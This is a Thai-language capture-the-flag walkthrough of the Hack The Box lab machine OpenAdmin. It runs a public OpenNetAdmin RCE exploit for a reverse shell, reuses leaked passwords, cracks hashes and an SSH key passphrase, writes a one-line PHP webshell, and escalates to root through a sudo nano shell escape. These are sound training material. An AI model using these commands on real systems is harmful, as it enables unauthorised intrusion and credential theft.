สำหรับวันนี้ เรามาลองดูเครื่องที่ชื่อว่า OpenAdmin ใน Hack The Box กันนะครับ เครื่องนี้เป็นเครื่องระดับง่าย ที่มือใหม่ก็น่าจะพอเล่นกันผ่านได้โดยไม่ยากครับ
OS: Linux
Difficulty: Easy
Points: 20
Release: 04 Jan 2020
IP: 10.10.10.171
Date Cleared: 20 Apr 2020
Click here to read the English version of this writeup
Information Gathering
เริ่มต้นด้วยการ nmap
เพื่อดูว่ามี port ไหนเปิดอยู่บ้าง จะเห็นว่ามี ssh
เปิดอยู่ที่ port 22 และ http
ที่ port 80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80
เมื่อเข้ามาที่ port 80
ด้วย web browser เราจะเจอกับหน้า Apache2 Default Page อยู่ที่หน้าแรก
เราสามารถใช้ gobuster
เพื่อทำ directory fuzzing หา path ที่ซ่อนอยู่ จะเห็นว่าเราเจอ path ที่เข้าถึงได้ 3 อันจาก wordlist big.txt
ลองเข้าไปดูแต่ละอัน ก็จะเจอกับหน้าเว็บที่เหมือนจะก็อปมาจาก template ดูไม่มีอะไรสำคัญเท่าไหร่
แต่ในหน้า music เมื่อเราลองดูที่ปุ่ม Login จะเจอว่ามัน link ไปที่หน้า http://10.10.10.171/ona ที่มี OpenNetAdmin 18.1.1
อยู่
พอลองเอาไปหาใน Google จะเห็นว่ามีช่องโหว่ RCE อยู่
Exploitation
ลองโหลด exploit script จาก https://raw.githubusercontent.com/amriunix/ona-rce/master/ona-rce.py มาบนเครื่อง แล้วรันด้วย python3 ona-rce.py exploit http://10.10.10.171/ona/
จะทำให้เราได้ reverse shell ของ user www-data
เมื่อลองไล่ดูในไฟล์ของเว็บ จะเจอกับ config file นึง ที่มี database password n1nj4W4rri0R!
จาก home directory เราจะ เห็น user อยู่ 2 account ได้แก่ jimmy
และ joanna
เมื่อลองเอา password ที่เจอก่อนหน้านี้มาใช้ จะพบว่า password นี้สามารถใช้ login เข้า user jimmy
ได้
พอเราได้ username และ password เราก็เปลี่ยนไปใช้ ssh
เพื่อต่อไปยัง server ตรง ๆ ได้เลย ไม่ต้องผ่าน reverse shell
พอลองไล่ดูไฟล์สักพัก ก็ไปเจอกับ directory นึงที่ชื่อว่า /var/www/internal
ที่ jimmy
เป็น owner
ลองอ่านไฟล์ดู จะเห็นว่าหน้า index.php
จะมี login form อยู่ โดย username ต้องเป็น jimmy
และ sha512
hash ของ password ต้องตรงกับที่ระบุไว้
หน้า main.php
จะมีการอ่านไฟล์ ssh private key ของ joanna
พอเห็นแบบนี้ ก็พอจะเดาได้ว่าเราต้องหา password ที่ถูกต้องเพื่อ login เข้าไปในหน้า main.php
แล้วเอา private key ของ joanna
ออกมา แล้วใช้ key นั้นในการ ssh
เข้าเป็น joanna
เริ่มต้นจาก password ลองใช้เว็บ https://crackstation.net/ เพื่อ crack hash ที่ได้มา โชคดีที่ password เป็นคำง่าย ๆ ที่มีอยู่ใน wordlist ที่เว็บนี้ใช้ เลย crack ออกมาได้
ได้ password เป็นคำว่า Revealed
เราต้องรู้ก่อนว่าหน้าเว็บนี้ host อยู่บน port อะไร จากในตอนแรกจะเห็นว่า web server เป็น Apache
สามารถไปดู config file ได้ใน /etc/apache2/
จะเจอว่า /var/www/internal
ถูก host อยู่บน port 52846
….เอ้า? ไหนตอนแรกบอก nmap
มาเจอแค่ 22
กับ 80
ไง?
ก็ใช่น่ะสิครับ เว็บมันเปิด listen อยู่แค่บนเครื่องตัวเองเป็น internal ไม่ได้เปิดให้ข้างนอกเข้าถึงได้
แต่ว่า!!! ถ้าเรามาอ่าน code ของไฟล์ main.php
ใหม่ดี ๆ
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
จะเห็นว่า ไม่ว่าเราจะ login หรือไม่ก็ตาม private key ก็จะถูก output มาอยู่ดี แค่ถ้าไม่ได้ login ก็จะมีการ redirect กลับไป index.php
ดังนั้น เราสามารถใช้ curl
เพื่อเข้าถึงหน้าเว็บนั้นตรง ๆ จากบนเครื่องเป้าหมายได้เลย
อ่าว แล้วแบบนี้ ถ้าเราอยากเข้าไปดูหน้าเว็บสวย ๆ ด้วย web browser ของเรา อยากลองกรอกฟอร์ม login ดี ๆ ไม่อยากจ้องแต่ code ของหน้าเว็บ จะทำยังไงดีล่ะ?
ในเมื่อเรารู้ username และ password ของ jimmy
เราสามารถใช้ ssh
เพื่อทำ Local Port Forwarding
จาก port นึงบนเครื่องเรา ไปยังปลายทางผ่านเครื่องที่เรา ssh
ไปหาได้
โดย command ในการทำ Local Port Forwarding
คือ ssh -L local_port:destination_ip:destination_port username@ssh_server_ip
ซึ่งในกรณีนี้ สมมุติว่าเราอยาก forward จาก port 80
บนเครื่องเรา (local_port) ผ่านเครื่องที่เรา ssh
ไปหาซึ่งก็คือ 10.10.10.171
(ssh_server_ip) จากนั้นให้เครื่องนั้น forward ต่อไปที่เครื่องนั้นเอง 127.0.0.1
(destination_ip) ที่ port 52846
(destination_port) โดยใช้ user jimmy
(username)
ดังนั้นเราต้องใช้ command ssh -L 80:127.0.0.1:52846 [email protected]
จากนั้น เราจะสามารถใช้ web browser บนเครื่องเรา เข้าไปที่ port 80
บนเครื่องเราเอง ตัว request จะถูก forward ไปที่เว็บปลายทาง ทำให้เราสามารถเข้าถึงหน้าเว็บได้
ลอง login ด้วย jimmy:Revealed
วิธีนี้ ทำให้เราเข้าถึง private key ของ joanna
ได้ผ่าน web browser
พอได้ key มาแล้ว ให้เรา copy มาไว้ในไฟล์บนเครื่องเราได้เลย โดยเราตั้งชื่อว่า privkey
จากนั้นเราสามารถใช้ key เพื่อ ssh
ไปยังเครื่องเป้าหมายด้วย user joanna
ด้วย command ssh -i privkey [email protected]
ได้เลย… รึเปล่า?
ยัง! ต้องมี passphrase สำหรับใช้ key อีก!
แล้วเราจะหา passphrase มาจากไหนล่ะ? มาลอง crack ด้วย rockyou.txt
โดยใช้ john
เราสามารถแปลง private key ให้อยู่ใน format ที่ john
สามารถ crack ได้ด้วย command python /usr/share/jogn/ssh2john.py privkey > privkey.hash
จากนั้นเริ่ม crack ด้วย command john privkey.hash --wordlist=/usr/share/wordlists/rockyou.txt
และแล้วเราก็ได้ passphrase!
ในที่สุด เราก็จะ ssh
ไปที่เครื่องปลายทางได้ด้วย private key ที่ได้มา และใช้ passphrase เป็น bloodninjas
Another Solution
มีอีกวิธีที่เราใช้ในการเข้าถึง joanna
ได้ ถ้ากลับไปดู เราจะเห็นว่า jimmy
เป็น owner ของ directory /var/www/internal
เท่ากับว่าเราสามารถเขียนไฟล์ หรือแก้ไฟล์ในนี้ได้เลย
เราสามารถเขียน PHP webshell ง่าย ๆ ไว้ในนั้น โดยใช้ command echo '<?php echo shell_exec($_GET["cmd"]); ?>' > cmd.php
จากนั้นเราก็ใช้ curl
เพื่อรัน command ด้วยสิทธิ์ของ joanna
ได้เลย โดยใช้ command curl localhost:52846/cmd.php?cmd=[COMMAND]
เราอาจใช้วิธีนี้ในการดึง private key ออกมา หรือเอา public key ของเครื่องเราไปใส่ไว้ใน /home/joanna/.ssh/authorized_keys
ก็ได้
Privilege Escalation
การ escalate บนเครื่องนี้ค่อนข้างจะตรงไปตรงมา ลองใช้ sudo -l
จะเห็นว่าเรารัน nano
ด้วยสิทธิ์ root
ได้โดยไม่ต้องใช้ password
จากเว็บ https://gtfobins.github.io/gtfobins/nano/ เราจะเห็นว่าเราสามารถใช้ sudo
กับ nano
เพื่อ escalate เป็น root
ได้เลย
ลองรัน nano
ด้วย sudo
กด Ctrl-R
แล้วกด Ctrl-X
พิมพ์ reset; sh 1>&0 2>&0
จากนั้นกด Enter
กด Enter
สักสองสามทีเพื่อเคลียร์จอ จะเห็นว่าเราได้ยกสิทธิ์ตัวเองเป็น root
เรียบร้อย